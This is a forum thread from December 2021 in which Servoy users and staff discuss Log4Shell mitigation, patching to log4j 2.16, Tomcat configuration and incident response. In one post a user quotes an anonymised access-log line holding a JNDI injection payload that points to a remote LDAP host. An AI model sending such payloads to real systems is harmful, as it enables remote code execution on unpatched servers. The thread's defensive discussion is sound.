Servoy Forum

ROCLASI wrote:It looks like updating your JVM is no longer an effective mitigation.

Screenshot 2021-12-13 at 18.45.24.png

https://twitter.com/marcioalm/status/14 ... 5405875200

Continue focussing patching the root cause.

Code: Select all

-Dlog4j2.formatMsgNoLookups=true

Fixes that

I don't want to be an alarmist but (there is always a 'but'):

Cloudflare's telemetry data shows that the Log4j vulnerability had been exploited in the wild for at least 9 days prior to its public disclosure:

So to quote security researcher Jake Williams:

If you are patching Log4j today on internet facing service, you need to be doing incident response too. The reality of that someone else almost certainly beat you to it. Patching doesn't remove the existing compromise.

So, meaning that you should not only patch the exploit but take action aswell. The real question is of course, what should you do? On some of our servers we indeed find some 'jndi:ldap' entries in the access and catalina logs of Tomcat. These also happen from after we patched the server.
I don't want to enclose them here because this is a public forum but they look like this:

Code: Select all

x.x.x.x - - [12/Dec/2021:23:33:55 +0100] "GET /$%7Bjndi:ldap://x.x.x.x:yyyy/Exploit%7D HTTP/1.1" 404 808

How can we determine the impact? The response status of those requests is always 404, does that mean the scan failed? When I check the ip's that sent the requests, they are blocked by our Fortigate firewall.

Hi Ruben,

That is a good question. I am not in InfoSec. I just follow InfoSec Twitter/Blogs closely.
From what I read the current wave of malware is mostly coin miners and some malware like Mirai.
So paying close attention to CPU loads (and suspect processes) might be prudent.
Also a lot of the traffic people see is from security companies scanning the internet.

Future versions of Servoy and future LTS releases for 2020.03 and 2021.03 will ship with log4j 2.15.0 or later, where the problem has been addressed.

Hi Ron, What is the scheduled date for the next LTS releases for version 2020.03 and 2021.03?

we are first busy with releasing 2021.12 (with Log4J 2.16) shortly after that the 2 LTS releases will be released (so beginning of Januari)

Hi Johan,

Can the just released Log4j 2.16 be a drop-in replacement for the version (I believe versions 2.11.2 up to 2.13) in Servoy 2019.x/2020.x/2021.x ?
We could then code sign everything again and deploy new WARs with jndi fully disabled.
Or are there incompatibles?

i think that should just work, because thats kind of what i did over all our branches, the only thing that really is different when generating a WAR in 2020.03_LTS before and after my change is that there are 4 updates jars..
And as far as i have tested now, the logging works fine after that.

I have a tomcat9 on Ubuntu with only command line access.
Where does the

Code: Select all

-Dlog4j2.formatMsgNoLookups=true


go?

Thanks,

Christian

Hi Christian,

I don't know about Debian/Ubuntu but on Centos I can add it to JAVA_OPTS in tomcat.conf (in /conf)
But that worked only for the one installed via the package manager.

If you got the package directly from apache.org you need to add it to catalina.sh in /bin.

Hope this helps.

What about Servoy 7 and https://cve.report/CVE-2021-4104 ?

Please an update on this one.

as that CVE says thats not default only when you have configured a special appander the JMSAppender, Servoy didn't do that by default

Thanks Johan, I was looking for that confirmation.

After CVE-2021-44228 we now have a new related vulnerability CVE-2021-45046.
This last CVE shows that Log4j version 2.15 is still vulnerable with certain attack variants. Even with -Dlog4j2.formatMsgNoLookups=true .
So it seems really paramount that organisations need to start patching their servers with the latest Log4j 2.16 version, which disables the attack vector completely (jndi is disabled by default).

So to summarise the situation:

• Updating your JVM to a specific version doesn't help. Log4j 2.x in every JVM version is vulnerable.
• setting -Dlog4j2.formatMsgNoLookups=true will NOT block all attack variants
• log4j 2.15 is still vulnerable, update to version 2.16.

So if you run any recent version of Servoy (8.4 and up) you can replace the log4j jars with the latest ones from apache.org
If you use SmartClient you still need to code sign these jars, for Web- and NgClient deployments this is not really necessary.

The InfoSec community is reporting that after coin miners and malware to make your server be part of botnets (Mirai and others) they now see that attackers are loading ransomware and remote access tools .

@servoy maybe you need to send out an updated adviserary email.



On a lighter note. Today I learned that Log4j is pronounced 'Log Forge', not 'Log Four Jay' or any other variation.
Maybe we should rename ServoyForge to Servoy4j

On an even lighter note (but is it really?) I leave you with this (credit):